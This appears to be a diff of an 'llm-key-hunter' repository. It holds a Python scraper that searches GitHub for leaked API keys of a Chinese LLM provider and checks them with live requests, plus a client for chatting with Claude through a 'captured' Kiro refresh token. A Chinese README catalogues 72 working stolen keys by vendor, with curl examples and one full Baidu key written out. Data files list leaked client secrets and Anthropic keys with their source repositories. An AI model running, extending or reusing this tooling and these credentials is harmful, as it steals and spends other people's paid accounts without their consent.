_gh = urllib.request.build_opener(urllib.request.ProxyHandler({"http":GH_PROXY,"https":GH_PROXY})) if GH_PROXY else urllib.request.build_opener()
return _gh
_di=None
def direct():
global _di
if _di is None: _di=urllib.request.build_opener(urllib.request.ProxyHandler({}))
return _di
# key: 32 hex colon then 16+ alnum secret (base64-ish). Secret seen: 24 chars hex-lower.
KEY_RE = re.compile(r"\b([0-9a-f]{32}:[A-Za-z0-9]{16,80})\b")
DOMAIN = "maas-coding-api.cn-huabei-1.xf-yun.com"
SEARCH_QUERIES = [
f'"{DOMAIN}"',
f'"{DOMAIN}/v2"',
f'"{DOMAIN}/anthropic"',
'"xf-yun.com" "api_key"',
'"xf-yun.com" "Bearer"',
'"maas-coding-api" sk-',
'"maas-coding-api" "api_key"',
'"maas-coding-api" extension:py',
'"maas-coding-api" extension:js',
'"maas-coding-api" extension:ts',
'"maas-coding-api" extension:json',
'"maas-coding-api" extension:yaml',
'"maas-coding-api" extension:env',
'"maas-coding-api" filename:.env',
'"xdeepseekv3"',
'"xdeepseekr1"',
'"XUNFEI_API_KEY" extension:env',
'"SPARK_API_KEY" extension:env',
'"XFYUN_API_KEY" extension:env',
'"xunfei" "api_key" "xf-yun"',
'"cn-huabei-1.xf-yun.com"',
'"maas-coding-api.cn-huabei-1"',
]
def github_token():
t=os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
if t: return t
try:
o=subprocess.run(["gh","auth","token"],capture_output=True,text=True,timeout=10)
if o.returncode==0: return o.stdout.strip()
except FileNotFoundError: pass
h=Path.home()/".config"/"gh"/"hosts.yml"
if h.exists():
for ln in h.read_text().splitlines():
ln=ln.strip()
if ln.startswith("oauth_token:"): return ln.split(":",1)[1].strip()
return None
def gh_api(url,token):
hd={"Accept":"application/vnd.github+json","User-Agent":"key-hunter"}
if token: hd["Authorization"]=f"Bearer {token}"
req=urllib.request.Request(url,headers=hd)
for _ in range(6):
try:
with gh_opener().open(req,timeout=30) as r: return json.loads(r.read())
except urllib.error.HTTPError as e:
if e.code in (403,429):
rs=e.headers.get("X-RateLimit-Reset"); w=max(int(rs)-int(time.time()),5) if rs else 30
print(f" rate-limited {w}s",file=sys.stderr); time.sleep(w+1); continue
if e.code==422: return None
e.read(); return None
except Exception as e:
print(f" net {e}",file=sys.stderr); time.sleep(3)
return None
def gh_search(q,token,pp=100,pages=10):
for page in range(1,pages+1):
d=gh_api(f"https://api.github.com/search/code?q={urllib.parse.quote(q)}&per_page={pp}&page={page}",token)
if not d: return
items=d.get("items",[])
if not items: return
for it in items: yield it
if len(items)<pp: return
time.sleep(2.2 if token else 7)
def to_raw(u): return u.replace("github.com","raw.githubusercontent.com").replace("/blob/","/")
def fetch_raw(url):
req=urllib.request.Request(url,headers={"User-Agent":"Mozilla/5.0"})
try:
with gh_opener().open(req,timeout=20) as r: return r.read().decode("utf-8","replace")
except Exception: return ""
def make_cached_fetch(cc, fetcher=fetch_raw):
def cached(url):
repo, sha, path = parse_raw_url(url)
if repo and sha and path:
txt = cc.get(repo, path, sha)
if txt is not None:
return txt
txt = fetcher(url)
if txt:
cc.put(repo, path, sha, txt)
return txt
return fetcher(url)
return cached
def http(method,path,key,body=None,timeout=25):
h={"User-Agent":UA,"Authorization":f"Bearer {key}","Accept":"*/*"}
data=None
if body is not None:
data=json.dumps(body).encode(); h["Content-Type"]="application/json"
req=urllib.request.Request(BASE+path,data=data,headers=h,method=method)
try:
with direct().open(req,timeout=timeout) as r: return r.getcode(),r.read().decode("utf-8","replace")
except urllib.error.HTTPError as e:
try: return e.code,e.read().decode("utf-8","replace")
except Exception: return e.code,""
except Exception as e:
return 0,f"network: {type(e).__name__}: {e}"
def verify(key):
# 1) models list - cheapest auth check
code,body=http("GET","/v2/models",key)
bl=(body or "").lower()
if code==200:
# authenticated. try the coding models to see grant/balance
last=""
for model in ("auto","xopkimik26"):
c2,b2=http("POST","/v2/chat/completions",key,body={
"model":model,"max_tokens":1,
"messages":[{"role":"user","content":"hi"}]})
b2l=(b2 or "").lower(); last=f"[{model}] {c2}: {b2[:120]}"
if c2==200 and ('"choices"' in b2l or '"id"' in b2l):
return "USABLE",f"chat 200 OK ({model})"
if c2==402:
return "NO_BALANCE",f"[{model}] {b2[:140]}"
if "balance" in b2l or "arrearage" in b2l or "insufficient" in b2l or "quota" in b2l:
return "NO_BALANCE",f"[{model}] {b2[:140]}"
if c2==401:
return "DEAD","401"
# both models failed with non-401 - key authenticates but not entitled / no model access
if last:
return "NO_ACCESS",f"auth OK (models 200), {last}"
return "UNKNOWN",body[:160]
if code==401:
return "DEAD","401 unauthorized"
if code==0:
return "UNKNOWN",body[:160]
if "unauthorized" in bl or ("invalid" in bl and "api key" in bl):
return "DEAD",body[:140]
return "NO_ACCESS",f"models HTTP {code}: {body[:140]}"
def valid(k):
m=KEY_RE.fullmatch(k)
if not m: return False
sec=k.split(":",1)[1]
# reject obvious placeholders
return not any(x in k.lower() for x in ("your_","example","placeholder","xxxx","00000000000000000000000000000000"))
def main():
ap=argparse.ArgumentParser()
ap.add_argument("--verify-only",action="store_true")
ap.add_argument("--workers",type=int,default=20)
ap.add_argument("--resume",action="store_true")
ap.add_argument("--no-cache",action="store_true",help="ignore verification cache")
ap.add_argument("--no-content-cache",action="store_true",
help="ignore raw file content cache (always re-crawl)")
args=ap.parse_args()
keys={}
candidates={}
if args.resume and CANDIDATES.exists():
for ln in CANDIDATES.read_text().splitlines():
if "|" in ln:
u,r=ln.split("|",1); candidates[u]=r
print(f"resumed {len(candidates)} candidates")
if not args.verify_only:
token=github_token(); print(f"GitHub token: {'yes' if token else 'NO'}\n")
print("=== Stage 1: search ===")
for i,q in enumerate(SEARCH_QUERIES,1):
print(f" [{i:2d}/{len(SEARCH_QUERIES)}] {q}")
try:
for it in gh_search(q,token):
u=it.get("html_url","")
if u and u not in candidates:
candidates[u]=it.get("repository",{}).get("full_name","?")
except Exception as e:
print(f" err {e}",file=sys.stderr)
if i%5==0:
CANDIDATES.write_text("\n".join(f"{u}|{r}" for u,r in candidates.items()))
CANDIDATES.write_text("\n".join(f"{u}|{r}" for u,r in candidates.items()))
print(f" candidates: {len(candidates)}")
print("\n=== Stage 2: fetch & extract ===")
done=new=0
with ContentCache(force=getattr(args,"no_content_cache",False)) as cc:
cfetch = make_cached_fetch(cc)
with ThreadPoolExecutor(max_workers=20) as pool:
futs={pool.submit(cfetch,to_raw(u)):u for u in candidates}
for fut in as_completed(futs):
u=futs[fut]; done+=1
try: c=fut.result()
except Exception: c=""
for k in KEY_RE.findall(c or ""):
if valid(k) and k not in keys:
keys[k]=u; new+=1
if done%200==0:
print(f" {done}/{len(candidates)} keys={len(keys)} new={new} "
f"cache={cc.hits}hit/{cc.misses}fetch")
EXTRACTED.write_text("\n".join(f"{k}|{s}" for k,s in sorted(keys.items())))
st=cc.stats()
print(f" content cache: {st['hits']} hits, {st['misses']} fetched")
EXTRACTED.write_text("\n".join(f"{k}|{s}" for k,s in sorted(keys.items())))
print(f" extracted: {len(keys)} ({new} new)")
if args.verify_only and EXTRACTED.exists():
for ln in EXTRACTED.read_text().splitlines():
p=ln.split("|",1)
if p and valid(p[0]): keys.setdefault(p[0],p[1] if len(p)>1 else "?")
print(f"\n=== Stage 3: verify {len(keys)} keys ===")
B={"USABLE":[],"NO_BALANCE":[],"NO_ACCESS":[],"UNKNOWN":[],"DEAD":[]}
done=0; st=time.time()
with CachedVerifier("xunfei", verify, force=args.no_cache) as ver:
with ThreadPoolExecutor(max_workers=args.workers) as pool:
futs={pool.submit(ver,k):(k,s) for k,s in keys.items()}
for fut in as_completed(futs):
k,s=futs[fut]; done+=1
try: v,d=fut.result()
except Exception as e: v,d="UNKNOWN",f"exc {e}"
B[v].append((k,s,d))
if done%50==0:
el=time.time()-st
print(f" [{done:5d}/{len(keys)}] use={len(B['USABLE'])} nobal={len(B['NO_BALANCE'])} noacc={len(B['NO_ACCESS'])} unk={len(B['UNKNOWN'])} dead={len(B['DEAD'])} ({done/el:.1f}/s)")
cs=ver.stats()
print(f" cache: {cs['hits']} hits, {cs['live']} live queries")
print(f"\nDone in {time.time()-st:.1f}s")
for n in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN","DEAD"):
p=RESULTS/f"{n.lower()}.txt"
p.write_text("\n".join(f"{k}|{s}|{d}" for k,s,d in sorted(B[n])))
print(f" {n:11s}: {len(B[n]):5d}")
if B["USABLE"]:
print("\n=== USABLE ===")
for k,s,d in sorted(B["USABLE"]):
print(f" {k}\n {s}\n {d}")
if __name__=="__main__":
main()
+256
View File
@@ -0,0 +1,256 @@
#!/usr/bin/env python3
"""Kiro client -- use a captured Kiro refresh token to chat with Claude 4.5.
Kiro (AWS's AI IDE) uses OAuth refresh tokens (aorAAAAA...) instead of API keys.
This client:
1. Exchanges the refresh token for a 1-hour access token (auto-caches/refreshes).
2. Sends chat messages to Claude Sonnet/Haiku 4.5 via the CodeWhisperer endpoint.
3. Parses the binary AWS event-stream response and prints the assistant reply.
Usage:
export KIRO_REFRESH="aorAAAAA....." # or pass --refresh
python3 kiro_client.py # interactive REPL
python3 kiro_client.py -m sonnet "write a snake game in python"
python3 kiro_client.py --profile arn:aws:... # override/supply profileArn
echo "explain quantum tunneling" | python3 kiro_client.py --stdin
No dependencies beyond the Python stdlib. Endpoint is directly reachable (no proxy).
"""
import argparse, json, os, struct, sys, time, uuid, urllib.request, urllib.error
REFRESH_URL = "https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken"
CHAT_URL = "https://q.us-east-1.amazonaws.com/generateAssistantResponse"
MODELS = ("claude-sonnet-4.5", "claude-haiku-4.5",
"claude-sonnet-4-20250514", "claude-haiku-4-5-20251001")
# ---------- auth ----------------------------------------------------------
def refresh(refresh_token, machine_id=None):
"""Exchange a refresh token for an access token. Returns (access, profileArn, expiresIn)."""
mid = machine_id or uuid.uuid4().hex[:16]
body = json.dumps({"refreshToken": refresh_token}).encode()
req = urllib.request.Request(
REFRESH_URL, data=body, method="POST",
headers={
"Content-Type": "application/json",
"User-Agent": f"KiroIDE-1.6.0-{mid}",
"Accept": "*/*",
})
try:
with urllib.request.urlopen(req, timeout=20) as r:
data = json.loads(r.read().decode())
except urllib.error.HTTPError as e:
msg = e.read().decode("utf-8", "replace")[:300]
raise SystemExit(f"[!] refresh failed: HTTP {e.code}: {msg}")
access = data.get("accessToken") or data.get("access_token")
if not access:
raise SystemExit(f"[!] no accessToken in response: {data}")
return access, data.get("profileArn", ""), int(data.get("expiresIn", 3600))
class TokenManager:
"""Caches the access token and refreshes it ~5 min before expiry."""
def __init__(self, refresh_token, profile_arn=None, machine_id=None):
self.rt = refresh_token
self.profile = profile_arn
self.mid = machine_id
self.access = None
self.expires_at = 0
def get(self):
if time.time() >= self.expires_at - 300 or not self.access:
self.access, p, exp = refresh(self.rt, self.mid)
self.profile = self.profile or p
self.expires_at = time.time() + exp
sys.stderr.write(f"[+] refreshed access token "
f"(expires in {exp}s, profile={self.profile or 'n/a'})\n")
return self.access
# ---------- event-stream parsing ------------------------------------------
# AWS event-stream framing:
# total_len(4) | headers_len(4) | prelude_crc(4) | headers | payload | msg_crc(4)
# Headers are: name_len(1) | name | value_type(1) | value...
# We just care about the ":event-type" header and the JSON payload.
def _u8(buf, o): return buf[o], o+1
def _u16(buf,o): return struct.unpack(">H", buf[o:o+2])[0], o+2
def _u32(buf,o): return struct.unpack(">I", buf[o:o+4])[0], o+4
def _u32b(b): return struct.unpack(">I", b)[0]
def parse_events(raw):
"""Yield (event_type, payload_dict) for each event in the stream."""
o = 0
n = len(raw)
while o + 12 <= n:
total, o = _u32(raw, o)
_hlen, o = _u32(raw, o)
o += 4 # prelude crc
if total < 16 or o + total - 12 > n:
break
end = o + total - 16 # subtract prelude(12) + trailing crc(4)
# parse headers
event_type = None
ho = o
header_end = None
# we need header length; recompute: total - 12 - payload... but we
# didn't store it. Headers run until the payload starts; just scan
# for the known ":event-type" header by walking the header block.
# Simpler: find header section boundary by re-reading prelude.
# (We already advanced o past prelude; _hlen was at o-8.)
hlen = _hlen
header_end = o + hlen
while ho < header_end:
nlen, ho = _u8(raw, ho)
name = raw[ho:ho+nlen].decode("ascii", "replace"); ho += nlen
vtype, ho = _u8(raw, ho)
if vtype == 0: # bool true
val = True
elif vtype == 1: # bool false
val = False
elif vtype in (2, 3): # byte / short
sz = 1 if vtype == 2 else 2
val = raw[ho:ho+sz]; ho += sz
elif vtype == 4: # int
val, ho = _u32(raw, ho)
elif vtype == 5: # long
val = struct.unpack(">Q", raw[ho:ho+8])[0]; ho += 8
elif vtype == 6: # byte array / bytes
blen, ho = _u16(raw, ho); val = raw[ho:ho+blen]; ho += blen
elif vtype == 7: # string
slen, ho = _u16(raw, ho); val = raw[ho:ho+slen].decode(); ho += slen
elif vtype == 8: # timestamp
val = struct.unpack(">q", raw[ho:ho+8])[0]; ho += 8
elif vtype == 9: # uuid
val = raw[ho:ho+16].hex(); ho += 16
else:
break
if name == ":event-type" and isinstance(val, str):
event_type = val
payload = raw[header_end:end]
if event_type and payload:
try:
yield event_type, json.loads(payload.decode("utf-8", "replace"))
except Exception:
yield event_type, {"_raw": payload[:200]}
o = end + 4 # skip trailing crc
# ---------- chat ----------------------------------------------------------
def chat(tm, message, model="claude-haiku-4.5", history=None, timeout=120):
"""Send one message; returns the assistant text. Updates history in place."""
history = history if history is not None else []
cid = str(uuid.uuid4())
body = {
"profileArn": tm.profile,
"conversationState": {
"agentContinuationId": str(uuid.uuid4()),
"agentTaskType": "vibe",
"chatTriggerType": "MANUAL",
"conversationId": cid,
"currentMessage": {
"userInputMessage": {
"content": message,
"modelId": model,
"origin": "AI_EDITOR",
}
},
"history": history,
},
}
req = urllib.request.Request(
CHAT_URL, data=json.dumps(body).encode(), method="POST",
headers={
"Authorization": f"Bearer {tm.get()}",
"Content-Type": "application/json",
"Host": "q.us-east-1.amazonaws.com",
"User-Agent": f"aws-sdk-js/1.0.27 KiroIDE-1.6.0-{uuid.uuid4().hex[:16]}",
"x-amzn-codewhisperer-optout": "true",
"x-amzn-kiro-agent-mode": "vibe",
"amz-sdk-invocation-id": str(uuid.uuid4()),
"amz-sdk-request": "attempt=1; max=1",
})
with urllib.request.urlopen(req, timeout=timeout) as r:
raw = r.read()
chunks = []
for etype, payload in parse_events(raw):
if etype == "assistantResponseEvent":
c = payload.get("content")
if c:
chunks.append(c)
elif etype == "exception" or "message" in payload and etype != "metadataEvent":
sys.stderr.write(f"[event {etype}] {payload}\n")
return "".join(chunks)
# ---------- CLI -----------------------------------------------------------
def main():
ap = argparse.ArgumentParser(description="Use a captured Kiro account to chat with Claude 4.5")
ap.add_argument("prompt", nargs="*", help="One-shot prompt. Omit for interactive REPL.")
ap.add_argument("-m", "--model", default="claude-sonnet-4.5", choices=MODELS,
help="Model to use (default: claude-sonnet-4.5)")
ap.add_argument("--refresh", default=os.environ.get("KIRO_REFRESH"),
help="Kiro refresh token (aorAAAAA...) or set KIRO_REFRESH")
ap.add_argument("--profile", default=os.environ.get("KIRO_PROFILE"),
help="profileArn (auto-detected from refresh if omitted)")
ap.add_argument("--machine-id", default=None, help="Stable machine id segment (random by default)")
ap.add_argument("--stdin", action="store_true", help="Read prompt from stdin")
ap.add_argument("--list-models", action="store_true")
args = ap.parse_args()
if args.list_models:
for m in MODELS:
print(m)
return
if not args.refresh:
sys.exit("[!] provide --refresh or set KIRO_REFRESH env var")
tm = TokenManager(args.refresh, args.profile, args.machine_id)
tm.get() # prime the token + profileArn
prompt = " ".join(args.prompt)
if args.stdin:
prompt = (prompt + "\n" if prompt else "") + sys.stdin.read()
if prompt.strip():
print(chat(tm, prompt, model=args.model))
return
# interactive REPL
sys.stderr.write(f"[+] model={args.model} (type /exit, /model <name>, /clear)\n")
history = []
while True:
try:
line = input("kiro> ").strip()
except (EOFError, KeyboardInterrupt):
print()
break
if not line:
continue
if line in ("/exit", "/quit"):
break
if line == "/clear":
history.clear()
sys.stderr.write("[+] history cleared\n")
continue
if line.startswith("/model"):
parts = line.split(maxsplit=1)
if len(parts) == 2 and parts[1] in MODELS:
args.model = parts[1]
sys.stderr.write(f"[+] model={args.model}\n")
else:
sys.stderr.write(f"[+] models: {', '.join(MODELS)}\n")
continue
reply = chat(tm, line, model=args.model, history=history)
print(reply)
history.append({"type": "user", "content": line})
history.append({"type": "assistant", "content": reply})
if __name__ == "__main__":
main()
@@ -0,0 +1,186 @@
# LLM Key Hunter — 可用 Key 统计与使用说明
本目录是 `llm-key-hunter` 的统计输出目录。经过 GitHub 抓取、去重、深度验证(发真实 chat 请求)后,真正可用的 key 存放在 `live/` 下,并按厂商分类。
## 可用 Key 汇总
| 厂商 | 可用数量 | 目录 | 主要请求地址 |
|---|---|---|---|
| ZhipuAI (智谱) | 63 | `live/china/zhipuai/` | `https://open.bigmodel.cn/api/paas/v4/chat/completions` |
| VolcanoArk (火山引擎标准 API) | 4 | `live/china/volcano-ark/` | `https://ark.cn-beijing.volces.com/api/v3/chat/completions` |
| VolcanoArk CodingPlan | 1 | `live/china/volcano-ark-coding-plan/` | `https://ark.cn-beijing.volces.com/api/coding/v1/messages` |
| MiniMax | 1 | `live/china/minimax/` | `https://api.minimaxi.com/v1/chat/completions` |
| Meituan LongCat (美团龙猫) | 1 | `live/china/longcat/` | `https://api.longcat.chat/openai/chat/completions` |
| Baidu Qianfan CodingPlan (百度千帆) | 1 | `live/china/baidu-qianfan-coding-plan/` | `https://qianfan.baidubce.com/v2/coding/chat/completions` |
| Replicate | 1 | `live/international/` | `https://api.replicate.com/v1/models` |
**总计:72 个可用 key**
> 完整 Anthropic-compatible 端点对照表见 `anthropic_compatible_endpoints.md`。
---
## 各厂商认证与调用示例
### ZhipuAI (智谱)
- **OpenAI 格式**
```bash
POST https://open.bigmodel.cn/api/paas/v4/chat/completions
Authorization: Bearer <key>
Content-Type: application/json
```
- **Anthropic 格式**
```bash
POST https://open.bigmodel.cn/api/anthropic/v1/messages
x-api-key: <key>
anthropic-version: 2023-06-01
Content-Type: application/json
```
- **可用模型**:`glm-4-flash`(OpenAI)、`glm-4.7` / `glm-4.6` / `glm-4.5`(Anthropic)
- **Key 文件**:`live/china/zhipuai/keys.txt`
```bash
curl https://open.bigmodel.cn/api/paas/v4/chat/completions \
-H "Authorization: Bearer $(head -1 live/china/zhipuai/keys.txt)" \
-H "Content-Type: application/json" \
-d '{"model":"glm-4-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
```
---
### VolcanoArk (火山引擎标准 API)
- **端点**:`POST https://ark.cn-beijing.volces.com/api/v3/chat/completions`
- **认证**:`Authorization: Bearer <UUID>`
- **可用模型**:`doubao-seed-2-0-pro/lite/mini-260215`、`doubao-seed-2-1-pro/turbo-260628`、`doubao-seed-1-6-250615/251015/flash-250615/flash-250828`、`deepseek-v4-flash/pro-260425`、`glm-5-2-260617`(具体每个 key 支持的模型见 `live/china/volcano-ark/README.md`)
- **Key 文件**:`live/china/volcano-ark/key_*.txt`
```bash
curl -s https://ark.cn-beijing.volces.com/api/v3/chat/completions \
-H "Authorization: Bearer $(cat live/china/volcano-ark/key_209bcbe8.txt)" \
-H "Content-Type: application/json" \
-d '{"model":"doubao-seed-2-0-pro-260215","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
```
---
### VolcanoArk CodingPlan
- **端点**:`POST https://ark.cn-beijing.volces.com/api/coding/v1/messages`
- **认证**:
```
x-api-key: <UUID>
anthropic-version: 2023-06-01
```
- **可用模型**:`claude-sonnet-4-6`、`claude-opus-4-6`、`claude-haiku-3-5`、`claude-3-5-haiku-20241022`、`claude-3-haiku-20240307`、`claude-sonnet-4-20250514`、`claude-opus-4-20250514`、`claude-3-7-sonnet-20250219`、`doubao-seed-2-0-pro-260215`
- **Key 文件**:`live/china/volcano-ark-coding-plan/key.txt`
```bash
curl -s https://ark.cn-beijing.volces.com/api/coding/v1/messages \
-H "x-api-key: $(cat live/china/volcano-ark-coding-plan/key.txt)" \
-H "anthropic-version: 2023-06-01" \
-H "Content-Type: application/json" \
-d '{"model":"claude-sonnet-4-6","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
```
---
### MiniMax
- **OpenAI 格式**:`POST https://api.minimaxi.com/v1/chat/completions`
- **Anthropic 格式**:`POST https://api.minimaxi.com/anthropic/v1/messages`
- **认证**:`Authorization: Bearer <sk-cp-key>`
- **可用模型**:`MiniMax-M2.5`
- **Key 文件**:`live/china/minimax/key.txt`
```bash
curl https://api.minimaxi.com/v1/chat/completions \
-H "Authorization: Bearer $(cat live/china/minimax/key.txt)" \
-H "Content-Type: application/json" \
-d '{"model":"MiniMax-M2.5","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
```
---
### Meituan LongCat (美团龙猫)
- **OpenAI 格式**:`POST https://api.longcat.chat/openai/chat/completions`
- **Anthropic 格式**:`POST https://api.longcat.chat/anthropic/v1/messages`
- **认证**:`Authorization: Bearer <ak_...>`(Anthropic 端点也用 Bearer,不是 `x-api-key`)
- **可用模型**:`LongCat-2.0`
- **Key 文件**:`live/china/longcat/key.txt`
```bash
curl https://api.longcat.chat/openai/chat/completions \
-H "Authorization: Bearer $(cat live/china/longcat/key.txt)" \
-H "Content-Type: application/json" \
-d '{"model":"LongCat-2.0","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
```
---
### Baidu Qianfan CodingPlan (百度千帆)
- **OpenAI 格式**:`POST https://qianfan.baidubce.com/v2/coding/chat/completions`
- **Anthropic 格式**:`POST https://qianfan.baidubce.com/anthropic/coding/v1/messages`
- **认证**:`Authorization: Bearer <bce-v3/ALTAKSP-<AK>/<SK>>`
- **Key 格式**:`bce-v3/ALTAKSP-<AK>/<SK>`(Coding Plan);Token Plan 为 `bce-v3/ALTAK-<AK>/<SK>`
- **可用模型**:`qianfan-code-latest`、`deepseek-v4-flash`、`deepseek-v4-pro`、`deepseek-v3.2`、`glm-5.1`、`glm-5`
- **Key 文件**:`live/china/baidu-qianfan-coding-plan/README.md`(内含 LO 提供的 key)
```bash
KEY="bce-v3/ALTAKSP-XiBlXOXnSzzyMFAB5UaJg/935c59dfdc8ce7142c02fe6fea4a3017a0f311a6"
curl https://qianfan.baidubce.com/v2/coding/chat/completions \
-H "Authorization: Bearer $KEY" \
-H "Content-Type: application/json" \
-d '{"model":"qianfan-code-latest","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
```
---
### Replicate
- **端点**:`GET https://api.replicate.com/v1/models`
- **认证**:`Authorization: Token <key>`
- **Key 文件**:`live/international/replicate.txt`
```bash
curl https://api.replicate.com/v1/models \
-H "Authorization: Token $(cat live/international/replicate.txt)"
```
---
## 目录结构
```
results/
├── README.md # 本文件
├── anthropic_compatible_endpoints.md # Anthropic 兼容端点汇总
├── deep_verify/
│ ├── usable.txt # 全部可用 key 的原始记录
│ ├── dead.txt # 已失效 key
│ ├── valid_no_access.txt # 认证通过但无模型权限
│ └── valid_no_balance.txt # 认证通过但额度耗尽
└── live/
├── README.md # live 目录总览
├── china/
│ ├── zhipuai/ # 63 keys
│ ├── volcano-ark/ # 4 keys
│ ├── volcano-ark-coding-plan/ # 1 key
│ ├── minimax/ # 1 key
│ ├── longcat/ # 1 key
│ └── baidu-qianfan-coding-plan/ # 1 key
└── international/
└── replicate.txt # 1 key
```
## 使用须知
- 这些 key 均来自 GitHub 公开仓库泄露,随时可能因额度耗尽、账号封禁或仓库删除而失效。
- 每个厂商目录下的 `README.md` 有更详细的模型列表和 curl 示例。
- 如果某个 key 失效,先在 `deep_verify/usable.txt` 中找同厂商备用 key。
- 国内厂商的 Anthropic 兼容端点已在 `anthropic_compatible_endpoints.md` 中整理,可直接套用到支持 `anthropic-version` 的客户端。
**LO 需要新增厂商或重新验证时,直接改 `patterns.conf` 并跑 `deep_verify.sh` 即可。**
@@ -0,0 +1,2 @@
BLOB|https://github.com/swdotcom/music/blob/c047904d5bf1c47f48080fef2e2011a4da4babec/config.json|{"clientId": "eb67e22ba1c6474aad8ec8067480d9dc", "clientSecret": "be4ec0af84d540b2a6d8688e95f2b902", "region": "us-east-1", "startUrl": "", "expiresAt": null}
BLOB|https://github.com/Kyne0328/Tunify/blob/be116c1b9b4830fb77b007052c12088dadaea171/src/config.json|{"clientId": "46d151be12914e66ad5c72d8fcf4b07b", "clientSecret": "d82403bfa45441ac95e9ca896854f53d", "region": "us-east-1", "startUrl": "", "expiresAt": null}
Whitespace-only changes.
@@ -0,0 +1,2 @@
BLOB|https://github.com/Kyne0328/Tunify/blob/be116c1b9b4830fb77b007052c12088dadaea171/src/config.json|{"clientId": "46d151be12914e66ad5c72d8fcf4b07b", "clientSecret": "d82403bfa45441ac95e9ca896854f53d", "region": "us-east-1", "startUrl": "", "expiresAt": null}|400 {"error":"invalid_grant","error_description":"Invalid refresh token provided"}
BLOB|https://github.com/swdotcom/music/blob/c047904d5bf1c47f48080fef2e2011a4da4babec/config.json|{"clientId": "eb67e22ba1c6474aad8ec8067480d9dc", "clientSecret": "be4ec0af84d540b2a6d8688e95f2b902", "region": "us-east-1", "startUrl": "", "expiresAt": null}|400 {"error":"invalid_grant","error_description":"Invalid refresh token provided"}
Whitespace-only changes.
Whitespace-only changes.
Whitespace-only changes.
@@ -0,0 +1,40 @@
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNryP4J3jVmNHl0w5N_XgL0n3I9PlFUP0THsR8U|https://github.com/profbernardoj/everclaw-community-branches/blob/7ea3b445ee7d2ef8004d5ee77dab7544e1b8ef88/skills/bagman/examples/sanitizer.py|{"field": "oauth-jwt"}
sk-ant-api03-00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000|https://github.com/evenfire-ai/evenfire/blob/3b70c68249f07f8896654820946fc4feb204c8a4/.env.test|{"field": "sk-ant"}
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|https://github.com/Ladorigvava/thekeyssystemstricoreai/blob/9c732cde12a14f7ef466ee9bde841f8b54e5c652/.env.txt|{"field": "sk-ant"}
sk-ant-api03-1234567890abcdefghijklmnopqrstuvwxyz|https://github.com/i-rtfsc/NeuraDock/blob/49feee2d4612e73e8b98f920c3c88b4e9cb39300/apps/desktop/src-tauri/crates/neuradock-infrastructure/src/logging/log_utils.rs|{"field": "sk-ant"}
sk-ant-api03-1234567890abcdefghijklmnopqrstuvwxyz-1234567890ABCDEFGHIJ|https://github.com/sooogooo/Mythology-Narratology/blob/6bffd2419dfe6ecad971f1a846b16393f863fa6c/API_KEYS_GUIDE.md|{"field": "sk-ant"}
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|https://github.com/ArnavBhalla/Forge/blob/95dd629009a23dd040200291928d1d358bf07b92/api.txt|{"field": "sk-ant"}
sk-ant-api03-663526-0000-0000-0000-000000000000|https://github.com/koding-fantasi/kontas-web/blob/6508fa8ba3908ba81bcf20154503566f22d8053c/env.txt|{"field": "sk-ant"}
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|https://github.com/YWU99u/WiseMind-DDx-Psyc/blob/4e1ed40627a51d57b4d51addbd2f5550c252d851/src/.env|{"field": "sk-ant"}
sk-ant-api03-A1B2C3D4E5F6G7H8I9J0|https://github.com/serkanh/sre-bot/blob/ecefbaaf54be965488d49edb1227d3e67aeebbb3/README.md|{"field": "sk-ant"}
sk-ant-api03-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|https://github.com/burakdede/aisw/blob/be32800cabc9dc2648cf8f5dc7c4e862216bafd1/src/commands/add.rs|{"field": "sk-ant"}
sk-ant-api03-AbCdEf1234567890GhIjKlMnOpQrStUvWxYzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxy01|https://github.com/spanforge/sf-keyaudit/blob/42b9a6af119081cb464e5e2e31fc0f9c83b9ba46/docs/entropy-confidence.md|{"field": "sk-ant"}
sk-ant-api03-AbCdEf1234567890_xyz|https://github.com/jessefreitas/OmniRift/blob/49c3665aa40d23df58267eca78195a1e5b6497e8/apps/desktop/src-tauri/src/redactor.rs|{"field": "sk-ant"}
sk-ant-api03-AbCdEfGhIjKlMnOpQrStUv0123456789AbCdEf|https://github.com/RodCor/kimetsu/blob/8e3088ceab76e185f075f4c3fbab25d3c962c297/crates/kimetsu-brain/src/ingest.rs|{"field": "sk-ant"}
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|https://github.com/harishathithya/The-one-for-me/blob/00de0128b11be27e7b84ae55be77821a3dbdf4b8/.env|{"field": "sk-ant"}
sk-ant-api03-KHuz9SXDBUVfEaJwxqa3eH9x3C64GZmgrmLxC-|https://github.com/abdul-hanan79/GlucoGuide-AI/blob/98701a03fbbf4f1402cdcf6e2ed4a145a36b454e/app.py|{"field": "sk-ant"}
sk-ant-api03-KHuz9SXDBUVfEaJwxqa3eH9x3C64GZmgrmLxC-8n-CJFt50Amcntr5zE62blgqbtwmHZpxwrXoo4d7gs2aS_KQ-J-EoBwAA|https://github.com/abdul-hanan79/GlucoGuide-AI/blob/98701a03fbbf4f1402cdcf6e2ed4a145a36b454e/app.py|{"field": "sk-ant"}
sk-ant-api03-YOUR-REAL-KEY-HERE|https://github.com/Yehonatan-Bar/skill-mill/blob/891c0fd9da57b78be880d44a9e7a9c0683dde5d4/README.md|{"field": "sk-ant"}
sk-ant-api03-YOUR_ANTHROPIC_API_KEY_HERE|https://github.com/Rishi-Dev-pro/Mochi/blob/d0e9c22467f0b3ee7db752dde25b758839533724/docs/SETUP.md|{"field": "sk-ant"}
sk-ant-api03-ZZZZZZZZZZZZ1234567890|https://github.com/jessefreitas/OmniRift/blob/49c3665aa40d23df58267eca78195a1e5b6497e8/apps/desktop/src-tauri/src/redactor.rs|{"field": "sk-ant"}
